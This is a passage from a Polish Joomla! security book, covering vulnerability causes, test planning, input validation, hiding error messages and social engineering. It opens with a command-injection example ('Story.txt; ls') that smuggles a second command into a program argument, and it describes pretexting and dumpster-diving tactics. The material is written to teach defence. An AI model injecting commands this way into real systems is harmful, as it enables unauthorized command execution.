Jeśli użyjesz kodu w standardowy sposób, zobaczysz oczekiwane dane: $ ./catWrapper Story.txt Przykładowy atak Jeśli napastnik będzie chciał Cię zaatakować, może dodać na końcu wiersza średnik i dodatkową instrukcję, co spowoduje wykonanie przez nakładkę catWrapper polecenia ls oraz wyświetlenie zawartości danego katalogu. $ ./catWrapper Story.txt; ls When last we left our heroes... Story.txt doubFree.c nullpointer.c unstosig.c www* a.out* format.c strlen.c useFree* catWrapper* misnull.c strlength.c useFree.c commandinjection.c nodefault.c trunc.c writeWhatWhere.c 99 Joomla! Zabezpieczanie witryn Gdyby nakładka catWrapper miała wyższy poziom uprawnień niż standardowy użytkownik, umoż- liwiałaby wykonywanie dowolnych poleceń z danego poziomu. Dlaczego pojawiają się luki? Przyczyną powstawania usterek i luk jest kilka czynników. Najważniejszy z nich to złożoność. Ponadto kod może działać w nieoczekiwany sposób w interakcji z innymi fragmentami programu. Za każdym razem, kiedy producent dodaje do pakietu oprogramowania nowe funkcje, w aplikacji pojawia się wiele luk, którymi trzeba się zająć. Inne przyczyny usterek to: (cid:81) niewystarczające testy i planowanie, (cid:81) niewłaściwa instalacja i konfiguracja serwera, (cid:81) złe ustawienia zapory, (cid:81) udostępnianie zbyt wielu informacji, (cid:81) niewłaściwe formatowanie zmiennych i niebezpiecznych danych wejściowych, (cid:81) brak testów w zróżnicowanym środowisku, (cid:81) interakcje z dodatkami niezależnych producentów, (cid:81) socjotechnika (tak, to też problem), (cid:81) nieregularne instalowanie poprawek i aktualizacji (nie jest to przyczyna problemów, ale prowadzi do umożliwienia użycia eksploitów), (cid:81) złośliwi hakerzy, którzy chcą włamać się do systemu, (cid:81) ataki w dniu zerowym (polegają one na wykorzystaniu błędów, które nie zostały jeszcze zidentyfikowane i naprawione). Jak widać, istnieje wiele przyczyn błędów. W końcu nikt nie jest doskonały. Wiem, że to frazes, jednak nieustannie trzeba go przypominać. Programiści i producenci mogą zapobiec większości usterek. W rozdziale 5. omawiam szczegóło- wo niektóre z często stosowanych ataków i wyjaśniam, dlaczego są możliwe. Co można zrobić, aby zapobiec lukom? Użytkownik końcowy nie naprawi kodu niskiej jakości, jednak może przeprowadzić testy. Progra- mista ma większe możliwości i może wyeliminować więcej usterek. Prześledźmy kilka strategii, które można zastosować, aby złagodzić skutki błędów i zabezpieczyć środowisko pracy. Osobno przedstawiam rozwiązania dla programistów i użytkowników. 100 Rozdział 4. • Luki Programiści Programista jest odpowiedzialny za pisanie jak najlepszego kodu. Nie oznacza to, że zawsze musi tworzyć idealne rozwiązania. Powinien jednak starać się udostępniać produkty wysokiej jakości i wykorzystywać wszystkie swe umiejętności. Czasem w świecie techniki duma bierze górę nad zdrowym rozsądkiem. Jeśli zdasz sobie sprawę z tego, że pomyłki mogą się zdarzać, otworzysz się na krytykę ze strony współpracowników. Nie pozwól, aby duma spowodowała, że udostępnisz kiepski produkt lub nie zapewnisz odpo- wiedniego wsparcia innym w środowisku pracy. Niska jakość testów i planów W czasie projektowania nowego dodatku, programu lub innego skryptu zastanów się, jak na- prawdę będzie używany. W jakim środowisku będzie działać? Czy oprogramowanie to pakiet do sprzedaży samochodów? Pomyśl, jakie inne elementy dealer może chcieć zainstalować w witrynie. Jaki jest poziom wiedzy użytkowników? W jaki sposób klienci będą korzystać z witryny dealera? Zanim zaczniesz pisać kod, dobrze przemyśl, co chcesz osiągnąć dzięki testom. Zapisz plan testów i uwzględnij w nim często występujące problemy. Jeśli firma na przykład chce zamieszczać w witrynie zdjęcia (co sprzedawcy samochodów zwykle robią), to czy ich rozmiar ma znaczenie? Czy za duże rysunki spowodują błędy? Czy zamiast zdjęcia można wstawić inny element, który spowoduje przepełnienie bufora i przejęcie kontroli nad witryną przez napastnika? Przemyślenie takich kwestii pomoże Ci przygotować lepszy kod. Wskazówka dla użytkowników Koniecznie dodaj pomocne komunikaty o błędach w języku polskim i powiąż rozwiązanie problemu z syste- mem pomocy oraz wsparcia technicznego w witrynie. Tematy do przemyśleń można długo wymieniać. W planach i testach uwzględnij przynajmniej poniższe zagadnienia: (cid:81) Kim jest klient? (cid:81) Kim są klienci klienta? (cid:81) Jak produkt będzie używany? (cid:81) Jakie typy zmiennych i danych wejściowych są dozwolone? (cid:81) Jaki poziom uprawnień jest wymagany do używania aplikacji? (cid:81) Jakie inne rozszerzenia mogą współdziałać z rozwijanym systemem? Nie jest to kompletna lista, lecz tylko punkt wyjścia do rozważań. Napastnik może wykorzystać wszystkie wymienione obszary. Każdy z nich związany jest ze specyficznymi problemami. 101 Joomla! Zabezpieczanie witryn Na przykład dozwolone typy zmiennych i danych wejściowych wyznaczają sposób sprawdzania tablic oraz akceptowane rodzaje zmiennych. W aplikacjach w języku PHP zezwalanie na podanie danych DOWOLNEGO TYPU to zły pomysł, który ponadto nie poprawia komfortu pracy użyt- kowników. W kodzie trzeba przechwytywać żądania GET i POST, pliki cookies oraz inne dane, a następnie je sprawdzać. W testach należy podać w polu na dane wejściowe (lub w zapytaniu SQL) znaki specjalne i podobne informacje, aby ustalić, czy można złamać zabezpieczenia. Znaki specjalne, na które warto zwrócić uwagę, to ‘, i . Bardzo ważne jest wyszukiwanie ich w danych. Aby zyskać lojalnych klientów, należy zapewnić im wysoki komfort pracy i bezpieczeństwo. Zastanów się nad polem na dane wejściowe, w którym użytkownik strony może wpisać adres e-mail. Możesz użyć poniższego prostego fragmentu kodu: html head title Prosty formularz na adres e-mail /title /head body h2 Podaj adres e-mail /h2 p form action= email.php method= post table tr td Adres e-mail: /td td input type= text name= Name / /td /tr tr td colspan= 2 align= center input type= submit / /td /tr /table /form /body /html Ten kod nie sprawdza poprawności adresu e-mail. Nie jest to dobre rozwiązanie i z pewnością nie zapewnia bezpieczeństwa. Nie można też zagwarantować, że użytkownik wprowadzi poprawny adres; z kolei złośliwy napastnik może wstawić szkodliwy skrypt do witryny i przejąć nad nią kontrolę. Jak wykryć, czy adres e-mail jest poprawny? Doskonały przykład kodu do sprawdzania poprawności adresów e-mail znajdziesz na stronie: http://www.addedbytes.com/php/email-address-validation/. Jeśli pobierasz dane wejściowe, koniecznie przeprowadź testy! Następnie poproś o przetestowanie rozwiązania znajomego, zaufanego programistę i poproś go, aby spróbował złamać system. 102 Rozdział 4. • Luki Kiedy wystąpią błędy (a z pewnością tak się stanie), dobra procedura ich obsługi zapewni płynne działania witryny. Musisz jednak zachować ostrożność przy udostępnianiu informacji w komunikatach o błędach. Zastanów się nad błędem typu „odmowa dostępu”. Odmowa dostępu Wspomniałem już, że producenci aplikacji często udostępniają zbyt wiele informacji, ponieważ chcą, aby komunikaty były przydatne. Jest to często spotykany problem, który ułatwia zdetermi- nowanemu napastnikowi uzyskanie informacji o strukturze programu, użytych technologiach itd. Następny przykład ilustruje odrzucone żądanie pliku. Wszystko przebiega prawidłowo, dopóki nie pojawi się komunikat z serwera Apache. Choć podane informacje można łatwo uzyskać także w inny sposób, ten prosty przykład pokazuje, że w wyniku błędu serwer podaje informacje na swój temat: Jest to przykład błędnej obsługi błędu 403 (odmowa dostępu). Powoduje to ujawnienie szcze- gółowych informacji o wersji serwera Apache, porcie i strukturze katalogów. Lepsze rozwiązanie polega na użyciu pliku .htaccess do całkowitego zablokowania komunikatów o błędach. Zastanów się nad metodą opisaną na stronie http://perishablepress.com: # Blokowanie błędów w PHP. php_flag display_startup_errors off php_flag display_errors off php_flag html_errors off php_value docref_root 0 php_value docref_ext 0 Ta technika zapobiega ujawnianiu informacji napastnikowi, który bada witrynę. Starannie prze- analizuj aplikację i sprawdź, czy nie generuje komunikatów o błędach, ujawniających projekt tabel SQL lub inne poufne informacje. Niewłaściwe formatowanie zmiennych i niebezpiecznych danych wejściowych Ważnym i często pomijanym aspektem programowania jest formatowanie danych wejściowych. Jeśli program przyjmuje dane od użytkownika, trzeba się upewnić, że pobrane informacje mają właściwą postać. Jeżeli chcesz otrzymać adres e-mail, musisz sprawdzić, czy dane mają format takiego adresu, a nie zapytania SQL. 103 Joomla! Zabezpieczanie witryn Ten często występujący problem prowadzi do większych kłopotów, jeśli zostanie wykryty zbyt późno. Kilka znanych eksploitów to efekt nieprawidłowego sprawdzania wprowadzonych danych. To zaniedbanie umożliwia ataki przez przepełnienie bufora, wstrzyknięcie kodu SQL i ataki RFI (nie jest to kompletna lista). Brak testów w zróżnicowanym środowisku Z tym punktem związany jest klasyczny problem zasobów i czasu. Programista jest bardzo zajęty i można oczekiwać, że użytkownik ma wystarczającą wiedzę o swym systemie, dlatego nie warto sprawdzać nieznanych konfiguracji, prawda? Oczywiście wiesz, że jest inaczej. Użytkownicy mogą przypadkowo uszkodzić system. Jak można przeprowadzić testy w zróżnicowanym środowisku, a jednocześnie wykonywać wszystkie inne zadania? Wróćmy do planu testów. Ustal, na których platformach program ma działać, i przeprowadź na nich testy. W których wersjach systemów Linux i Windows rozszerzenie ma funkcjonować? Które wersje PHP są w powszechnym użyciu? Obecnie (w czasie powstawania tej książki) popularność języka PHP 4.xx zaczyna się zmniejszać, a nowym faworytem użytkowników są wersje 5.xx. Mo- żesz jednak mieć pewność, że przez pewien czas wiele osób nadal będzie korzystać z wersji 4.xx. Przetestowanie aplikacji w obu środowiskach to najbardziej odpowiedzialne i profesjonalne rozwiązanie. Testowanie w różnych wersjach baz SQL Testowanie w różnych powszechnie używanych wersjach bazy MySQL to następna technika, która pomaga w tworzeniu aplikacji najwyższej klasy. Obecnie niektóre firmy hostingowe umożliwiają wybór języka PHP 4 lub 5 i jednej z wielu wersji bazy MySQL. Przetestowanie najpopularniejszych kombinacji pozwala uniknąć późniejszych problemów, a także pomaga wyeliminować rzadkie błędy, które sprawiają, że witryna, Twoja lub klienta, jest podatna na ataki. Współdziałanie z rozszerzeniami niezależnych producentów Testy w tym obszarze są czasem trudne, jednak warto się nad nimi zastanowić. Pomyśl, z których rozszerzeń Ty sam i użytkownicy będziecie korzystać w połączeniu z daną aplikacją. Uwzględnij dodatki związane z Google Adsense i SEO, narzędzia do analizy danych internetowych oraz inne pomocne rozszerzenia. Musisz się upewnić, że inne rozszerzenia używane wraz z danym systemem nie narażą go na dziwne problemy. 104 Rozdział 4. • Luki Użytkownicy końcowi Jak użytkownik końcowy może zabezpieczyć się przed atakiem? Wspomniałem już o kilku kwe- stiach, aby podkreślić ich znaczenie. Przyjrzyjmy się teraz innym zagadnieniom. Socjotechnika Powszechnie przyjmuje się, że najsłabszym ogniwem w łańcuchu zabezpieczeń jest człowiek. Wynika to z naturalnej skłonności do wierzenia innym na słowo. Ludzie zwykle ufają osobom po drugiej stronie słuchawki, które proszą o pomoc. Rozmówca „zgubił” hasło, a musi przygotować raport, ponieważ szef go zabije! Kto nie był kiedyś w podobnej sytuacji? Rozmówca wywołuje współczucie, a drobny akt sympatii do drugiego człowieka naraża wiele osób na atak. Oszustwa typu phishing to popularna obecnie technika wyłudzania pieniędzy lub informacji, a jest to tylko najnowsza ze stosowanych metod naciągania. Wyłudzanie jest tak stare jak ludzkość. Socjotechnika nie opiera się na technologii, a mimo to jest skuteczną metodą atakowania infra- struktury witryny lub firmy. Jeśli napastnik zyska punkt zaczepienia dzięki operatorowi, który odbiera telefony, pracownikowi pomocy technicznej, sprzedawcy, a nawet Tobie, może przejąć cenne informacje potrzebne do włamania się do systemu. Pozyskiwanie informacji odbywa się czasem w bezczelny sposób, kiedy napastnik dzwoni do firmy i udaje osobę z zespołu pomocy technicznej, obserwuje budynek lub podsłuchuje Twoje rozmowy telefoniczne w kawiarni. Doświadczony socjotechnik nie próbuje od razu uzyskać dostępu do systemu. Woli zbierać małe porcje informacji i stopniowo zbliżać się do celu (czymkolwiek by on był). Ludzie „zdradzają” informacje cały czas — w trakcie rozmów telefonicznych, w e-mailach, w pogawędkach internetowych, w śmieciach, a czasem bezpośrednio, przez umieszczanie w e-mailach zastrzeżonych danych. Grzebanie w śmieciach to doskonały sposób na zdobycie informacji o celu. Kiedy ludzie wyrzu- cają starą listę cen, zwykle nie uważają, że jest to wartościowa zdobycz dla socjotechnika. Zwykle to nie same ceny są ważne, ale informacje, które pozwalają wywołać wrażenie, że dana osoba pra- cuje w firmie. Wiedza, jaką można zdobyć przez grzebanie w śmieciach, jest zdumiewająca. Celem stosowania socjotechniki jest uzyskanie nieuprawnionego dostępu do sieci, konta ban- kowego, budynku, a nawet mieszkania. Połączenie informacji znalezionych w koszu (na przykład wykresów firmowych, notatek, książek telefonicznych itd.) pozwala napastnikowi utworzyć mapę organizacji. Taka osoba zyskuje tak bogatą wiedzę, że nikt nie zawaha się pomóc „współ- pracownikowi”. 105 Joomla! Zabezpieczanie witryn Zaglądanie przez ramię (ang. shoulder surfing) to następna bardzo skuteczna metoda. Polega ona na tym, że napastnik dosłownie zagląda Ci przez ramię w trakcie wpisywania numeru PIN lub hasła. Oszust nie musi widzieć informacji na ekranie, ani nawet zdobyć pełnych danych. Fragment hasła często wystarczy, aby przeprowadzić atak. Zepsute dyski twarde — te srebrne talerze są prawdziwą kopalnią złota. Należy je starannie zniszczyć, aby zapewnić sobie maksymalne bezpieczeństwo. Istnieje kilka firm, które Cię w tym wyręczą (niektóre nawet za darmo). Perswazja oparta na czarującym i przyjacielskim zachowaniu także pozwala uzyskać dobre efekty. W połączeniu z naciskiem na pilność prośby perswazja pozwala otworzyć wiele drzwi — zwłaszcza u pracowników pomocy technicznej, którzy mają zapewniać wsparcie. Kiedy osoby te chcą potwierdzić tożsamość klientów, są często przez nich obrażane. Takie zachowanie użytkowników i nagany dla personelu przestrzegającego przepisów są niedopuszczalne. Karę powinni otrzymać pracownicy lub klienci, którzy proszą osoby z działu pomocy technicznej o złamanie reguł. To tylko wierzchołek góry lodowej w obszarze ataków socjotechnicznych. Najlepsza strategia przeciwdziałania im polega na edukowaniu pracowników, zatrudnieniu eksperta od zabezpieczeń w celu przeszkolenia personelu i opracowaniu oraz przestrzeganiu takich zasad, jak tworzenie SILNYCH HASEŁ i zmienianie ich co 30 dni. Należy też przygotować i wdrożyć procedury identyfikowania klientów kontaktujących się telefonicznie. Nie zapomnij słów jednego z największych socjotechników wszechczasów, Kevina Mitnicka: Możesz wydać fortunę na zakup technologii i usług […], a infrastruktura sieci nadal będzie podatna na klasyczną manipulację. Nieregularne instalowanie poprawek i aktualizacji Tak, tak, panie Użytkowniku Końcowy. To Ty odpowiadasz za swoje systemy i witryny. Społecz- ność nie zainstaluje poprawek za Ciebie. Pamiętaj, że nie powstają one bez przyczyny. Załóżmy, że jest „wtorek poprawek” i pojawiły się aktualizacje dla systemu XP, a Ty ich nie zainstalowałeś. Następnego dnia napastnik z powodzeniem zaatakował Twój komputer. To Ty jesteś za to od- powiedzialny. Wygospodaruj czas na przegląd poprawek i aktualizacji zabezpieczeń dla witryny, systemu oraz rozszerzeń, których używasz. Przez regularne instalowanie poprawek możesz zabezpieczyć się przed atakami w „dniu zerowym”, gotowymi skryptami atakującymi i innymi technikami, których zdeterminowany haker będzie używał w celu włamania się do Twojego komputera. 106 Rozdział 4. • Luki Podsumowanie W tym rozdziale opisałem luki, przyczyny ich powstawania i typowe metody przeciwdziałania ata- kom. Ponieważ istnieją całe książki poświęcone tym zagadnieniom, ten rozdział to tylko punkt wyjścia do zabezpieczania witryny. Jeśli chcesz dowiedzieć się czegoś więcej o bezpieczeń- stwie oprogramowania, zachęcam do lektury pozycji The art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities autorstwa Marka Dowda, Johna McDonalda i Justin Schuh. Morał z historii o Małej Czerwonej Kurce jest taki, że jeśli wszyscy — programiści, admini- stratorzy i użytkownicy — będą zgodnie współpracować, internet stanie się odporniejszy na ataki i bezpieczniejszy. Spory między wymienionymi stronami służą tylko interesom kryminalistów działających w internecie. 107
Pobierz darmowy fragment (pdf)

Gdzie kupić całą publikację:

Joomla! Zabezpieczanie witryn
Autor:

Opinie na temat publikacji:


Inne popularne pozycje z tej kategorii:


Czytaj również:


Prowadzisz stronę lub blog? Wstaw link do fragmentu tej książki i współpracuj z Cyfroteką: